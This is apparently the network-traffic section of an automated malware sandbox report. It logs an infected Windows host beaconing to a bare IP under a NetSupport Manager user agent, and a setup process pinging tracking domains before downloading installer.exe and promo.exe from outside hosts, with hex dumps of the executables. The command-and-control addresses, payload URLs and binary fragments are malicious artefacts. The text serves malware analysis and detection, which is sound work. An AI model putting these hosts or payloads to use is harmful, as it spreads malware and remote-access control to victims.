Dec 6, 2023 14:53:47.439908028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.541246891 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.640949011 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.742207050 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.842896938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.942918062 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.042907000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.143901110 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.243884087 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.344877958 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.446922064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.546906948 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.647878885 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.748903036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.849910975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:48.949928999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.050901890 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.150911093 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.250889063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.351910114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.452881098 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.552901030 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.653908968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.754904032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:49.854875088 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49722	62.172.138.67	80	3160	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:11.762283087 CET	172	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:52:11.949539900 CET	513	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=utf-8 Server: Microsoft-IIS/10.0 Access-Control-Allow-Origin: * Set-Cookie: ASPSESSIONIDAATQDQSB=HEPHPDNDJEOGKDCOAODAMNGH; path=/ X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin strict-transport-security: max-age=31536000; includeSubDomains X-Frame-Options: SAMEORIGIN Date: Wed, 06 Dec 2023 13:52:11 GMT Content-Length: 16 Data Raw: 33 38 2e 39 30 37 32 2c 2d 37 37 2e 30 33 36 39 Data Ascii: 38.9072,-77.0369

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49723	172.67.157.197	80	5256	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:12.321681976 CET	198	OUT	GET /track_inl2.php?tim=1701870636&poid=2598&p=1.25 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: send.planewool.xyz
Dec 6, 2023 14:52:12.709703922 CET	660	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CY%2BQQbgSr7%2FL7CO2LN22u%2BC6qIMI3klTLN52ViRo5l10FiwT0M9Z%2BvV03pZ6PIYB5ChK670zilyrJklWFVrKKkXFnWTC6RxK1eeiO0RKqfzjO2bPTq%2BpdmGP42tzPVBGV5ZSSHo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8315020d4e4481b1-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 33 0d 0a 6f 6b 0a 0d 0a Data Ascii: 3ok
Dec 6, 2023 14:52:12.709736109 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49724	104.21.13.66	80	5256	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:12.973052979 CET	236	OUT	GET /ar.php?d=inno&r=offer_execution&rk=yes&o=1627&a=2598&dn=286&spot=1&t=1701870636 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: false.apparelsilver.xyz
Dec 6, 2023 14:52:13.122529030 CET	654	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:13 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DcdPpzscc2aOAfVjrlOktPvG65A8k6C0ECq9EAMp%2Bzz%2FXsFv1rDl8WE95q07UW7c7SMXZlZN6NJQwJ9LE0dxhTkyifZ%2F3AlSUss3DFJwovw67UpmzKmJpB8wBzFr0ae96kXmNmw%2BtXqrWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 831502115e88577e-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Dec 6, 2023 14:52:35.062258005 CET	234	OUT	GET /ar.php?d=inno&r=offer_execution&rk=no&o=331&a=2598&dn=244&spot=2&t=1701870636 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: false.apparelsilver.xyz
Dec 6, 2023 14:52:35.184706926 CET	654	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:35 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pXyx8lV%2BIYKbQtZxJHcDRmzHGJkiTTCuelW5CPN6JuA%2BohUBPZis0EhkMDzkIfaSckj%2FoHYhbZYHvbjIYUWDTWP5xhxNuxPrTpfMwqwjBN1auuOIQyDUmEf3VMzak7%2B0aYT4lCcBGGiy4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8315029b6e2d577e-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49725	159.223.29.40	80	5256	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:13.429894924 CET	208	OUT	HEAD /installer.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: kapetownlink.com Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:52:13.615293026 CET	323	IN	HTTP/1.1 200 OK Server: nginx/1.10.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:52:13 GMT Content-Type: application/octet-stream Content-Length: 4724720 Last-Modified: Mon, 24 Jul 2023 06:14:10 GMT Connection: keep-alive ETag: "64be16b2-4817f0" Accept-Ranges: bytes
Dec 6, 2023 14:52:13.616013050 CET	207	OUT	GET /installer.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: kapetownlink.com Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:52:13.801419020 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.10.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:52:13 GMT Content-Type: application/octet-stream Content-Length: 4724720 Last-Modified: Mon, 24 Jul 2023 06:14:10 GMT Connection: keep-alive ETag: "64be16b2-4817f0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d6 e7 ac 00 92 86 c2 53 92 86 c2 53 92 86 c2 53 41 f4 c1 52 9f 86 c2 53 41 f4 c7 52 2b 86 c2 53 41 f4 c4 52 93 86 c2 53 f0 fe c6 52 81 86 c2 53 f0 fe c1 52 8a 86 c2 53 f0 fe c7 52 fa 86 c2 53 41 f4 c6 52 88 86 c2 53 41 f4 c3 52 91 86 c2 53 41 f4 c5 52 93 86 c2 53 92 86 c3 53 4f 84 c2 53 12 ff cb 52 df 87 c2 53 12 ff 3d 53 93 86 c2 53 92 86 55 53 93 86 c2 53 12 ff c0 52 93 86 c2 53 52 69 63 68 92 86 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 47 fb 67 62 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 1f 00 ae 21 00 00 ee 0d 00 00 00 00 00 44 9e 19 00 00 10 00 00 00 c0 21 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2f 00 00 04 00 00 27 f7 48 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 19 2a 00 28 00 00 00 00 c0 2a 00 c0 bc 02 00 00 00 00 00 00 00 00 00 78 fc 47 00 78 1b 00 00 00 80 2d 00 18 5b 02 00 18 ab 24 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ab 24 00 18 00 00 00 a8 df 21 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 21 00 cc 02 00 00 18 ed 29 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1f ad 21 00 00 10 00 00 00 ae 21 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 69 08 00 00 c0 21 00 00 6a 08 00 00 b2 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 8b 00 00 00 30 2a 00 00 6a 00 00 00 1c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 bc 02 00 00 c0 2a 00 00 be 02 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 5b 02 00 00 80 2d 00 00 5c 02 00 00 44 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$SSSARSAR+SARSRSRSRSARSARSARSSOSRS=SSUSSRSRichSPELGgb"!D!@/'H@$(xGx-[$p$!@!)`.text!! `.rdatadi!j!@@.data0j@.rsrc**@@.reloc[-\D-@B
Dec 6, 2023 14:52:13.801486015 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 55 8b ec 6a ff 68 14 10 5c 00 64 a1 00 00 00 00 50 81 ec b0 00 00 00 a1 24 30 6a 00 33 c5 89 45 f0 50 8d 45 f4 64 a3 00 00 00 00 6a 09 ba a0 73 62 00 8d 8d 48 ff ff ff e8 33 62 00 00 c7 45 fc 00 00 00 00 ba b4 73 62 00 6a 09 Data Ascii: Ujh\dP$0j3EPEdjsbH3bEsbj`bEsbjxbEsbjMaEsbjMaEtbjMaEtbjMaEEHPQjITEHh`y@jj
Dec 6, 2023 14:52:13.801599979 CET	1340	IN	Data Raw: fc 15 8b 8d 9c fe ff ff 85 c9 74 1d 8b 01 8b 50 10 8d 85 78 fe ff ff 3b c8 0f 95 c0 50 ff d2 c7 85 9c fe ff ff 00 00 00 00 c7 45 fc 1b 00 00 00 8d 8d a0 fe ff ff 51 8d 45 f0 50 51 e8 70 a1 03 00 c7 45 fc ff ff ff ff 8d 85 a0 fe ff ff 68 10 a3 43 Data Ascii: tPx;PEQEPQpEhCjj0PM~hpaMdYM3}]jhTb@j[haOYjhbAj[ha/Yjhb(Aj[haYj
Dec 6, 2023 14:52:13.801636934 CET	1340	IN	Data Raw: 6a 09 8d 4d 90 e8 61 58 00 00 c6 45 fc 03 ba f0 73 62 00 6a 09 8d 4d a8 e8 4e 58 00 00 c6 45 fc 04 ba 04 74 62 00 6a 05 8d 4d c0 e8 3b 58 00 00 c6 45 fc 05 ba 10 74 62 00 6a 04 8d 4d d8 e8 28 58 00 00 c7 45 fc 06 00 00 00 83 c4 18 8d 45 f0 8d 8d Data Ascii: jMaXEsbjMNXEtbjM;XEtbjM(XEEHPQ`jJEHh`y@jjP&yh@am\|MdYM3x]Ujh\dP$0j3EPEdjsbHWEsb
Dec 6, 2023 14:52:13.801676989 CET	1340	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 81 ec c8 00 00 00 a1 24 30 6a 00 33 c4 89 84 24 c4 00 00 00 8d 0c 24 c7 04 24 60 2e 63 00 51 8d 84 24 c4 00 00 00 c7 44 24 08 00 00 00 00 50 51 b9 9c b0 6a 00 c7 44 Data Ascii: U$0j3$$$`.cQ$D$PQjD$D$.cD$D$ D$$#cD$(D$,D$0.cD$4D$8D$</cD$@D$DD$HH/cD$LD$PD$T/cD$XD$\D$`/cD$
Dec 6, 2023 14:52:13.801713943 CET	1340	IN	Data Raw: dc 51 63 00 c7 45 a4 b4 b0 6a 00 c7 45 a8 03 00 00 00 c7 45 ac a4 51 63 00 c7 45 b0 b4 b0 6a 00 c7 45 b4 04 00 00 00 c7 45 b8 50 52 63 00 c7 45 bc c0 b0 6a 00 c7 45 c0 05 00 00 00 c7 45 c4 14 52 63 00 c7 45 c8 cc b0 6a 00 c7 45 cc 08 00 00 00 c7 Data Ascii: QcEjEEQcEjEEPRcEjEERcEjEERcEjEE\|RcEjE=UUU<@r)G#;PnA#HtWn3jjjEjE
Dec 6, 2023 14:52:13.801752090 CET	1340	IN	Data Raw: 02 33 c0 a3 e4 b1 6a 00 a3 e8 b1 6a 00 03 c6 a3 ec b1 6a 00 c7 45 d4 e4 b1 6a 00 c7 45 fc 00 00 00 00 8d 45 dc ff 75 d8 8b 35 e4 b1 6a 00 50 56 e8 c4 89 19 00 8d 04 be c7 45 d4 00 00 00 00 83 c4 0c a3 e8 b1 6a 00 c7 45 fc ff ff ff ff 68 b0 b5 61 Data Ascii: 3jjjEjEEu5jPVEjEhamMdY_^M3i].AMCUjh_dP$0j3PEdjhjdjjpau\a~yPjj$E
Dec 6, 2023 14:52:13.801788092 CET	1340	IN	Data Raw: 44 6a 00 c7 45 fc 01 00 00 00 c7 45 f0 98 44 6a 00 e8 ed 6f 00 00 85 c0 0f 84 a2 00 00 00 8b 10 8b c8 ff 52 0c 83 c0 10 a3 98 44 6a 00 c6 45 fc 03 c6 05 9c 44 6a 00 01 c7 45 f0 a0 44 6a 00 e8 bf 6f 00 00 85 c0 74 78 8b 10 8b c8 ff 52 0c 83 c0 10 Data Ascii: DjEEDjoRDjEDjEDjotxRDjEEDjotURDjEEDjyot2RDjEha/hMdY]h@khahYtjF5h a
Dec 6, 2023 14:52:13.801826000 CET	1340	IN	Data Raw: fc 09 33 c0 50 c7 05 b8 45 6a 00 00 00 00 00 b9 b8 45 6a 00 c7 05 c8 45 6a 00 00 00 00 00 c7 05 cc 45 6a 00 00 00 00 00 68 4c 74 62 00 c7 05 c8 45 6a 00 00 00 00 00 c7 05 cc 45 6a 00 07 00 00 00 66 a3 b8 45 6a 00 e8 f1 3d 00 00 c6 45 fc 0a 33 c0 Data Ascii: 3PEjEjEjEjhLtbEjEjfEj=E3PEjEjEjEjhLtbEjEjfEj=E3jEjEjEjEjEjfEjhldEjT=E3j
Dec 6, 2023 14:52:13.801865101 CET	1340	IN	Data Raw: 48 47 6a 00 00 00 00 00 b9 48 47 6a 00 c7 05 58 47 6a 00 00 00 00 00 c7 05 5c 47 6a 00 00 00 00 00 68 8c 5c 64 00 c7 05 58 47 6a 00 00 00 00 00 c7 05 5c 47 6a 00 07 00 00 00 66 a3 48 47 6a 00 e8 f2 38 00 00 c6 45 fc 1a 33 c0 50 0f 57 c0 c7 05 68 Data Ascii: HGjHGjXGj\Gjh\dXGj\GjfHGj8E3PWhGjxGjhGj\|GjhLtbf`GjxGj\|GjfhGj8E3PGjGjGjGjhLtbGjGjfGjK8E3P
Dec 6, 2023 14:52:13.987004042 CET	1340	IN	Data Raw: c7 05 e0 48 6a 00 00 00 00 00 b9 e0 48 6a 00 c7 05 f0 48 6a 00 00 00 00 00 c7 05 f4 48 6a 00 00 00 00 00 68 84 6e 64 00 c7 05 f0 48 6a 00 00 00 00 00 c7 05 f4 48 6a 00 07 00 00 00 66 a3 e0 48 6a 00 e8 ea 33 00 00 c6 45 fc 2a c7 05 f8 48 6a 00 00 Data Ascii: HjHjHjHjhndHjHjfHj3E*Hjj3IjIjHjhTudIjIjfHj3E+3jIjIj Ij$Ijhc Ij$IjfIjL3E,W30Ij

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50131	157.230.96.32	80	4444	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:32.738078117 CET	230	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvancedInstaller Host: pstbbk.com Content-Length: 8 Cache-Control: no-cache
Dec 6, 2023 14:52:32.738315105 CET	62	OUT	Data Raw: 73 69 64 3d 32 35 39 38 Data Ascii: sid=2598
Dec 6, 2023 14:52:33.782325029 CET	238	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:52:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50139	37.1.198.251	80	5256	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:36.159126997 CET	215	OUT	HEAD /load/1509/promo.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: ambadevgroup.info Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:52:36.408894062 CET	349	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:52:36 GMT Content-Type: application/x-msdos-program Content-Length: 1247744 Connection: keep-alive Vary: User-Agent Last-Modified: Sat, 02 Dec 2023 03:41:44 GMT ETag: "130a00-60b7ea9eab3a0" Accept-Ranges: bytes
Dec 6, 2023 14:52:36.409413099 CET	214	OUT	GET /load/1509/promo.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: ambadevgroup.info Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:52:36.660592079 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:52:36 GMT Content-Type: application/x-msdos-program Content-Length: 1247744 Connection: keep-alive Vary: User-Agent Last-Modified: Sat, 02 Dec 2023 03:41:44 GMT ETag: "130a00-60b7ea9eab3a0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 44 a7 6a 65 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 5a 09 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 13 00 00 04 00 00 bb ab 13 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 24 9e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 12 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 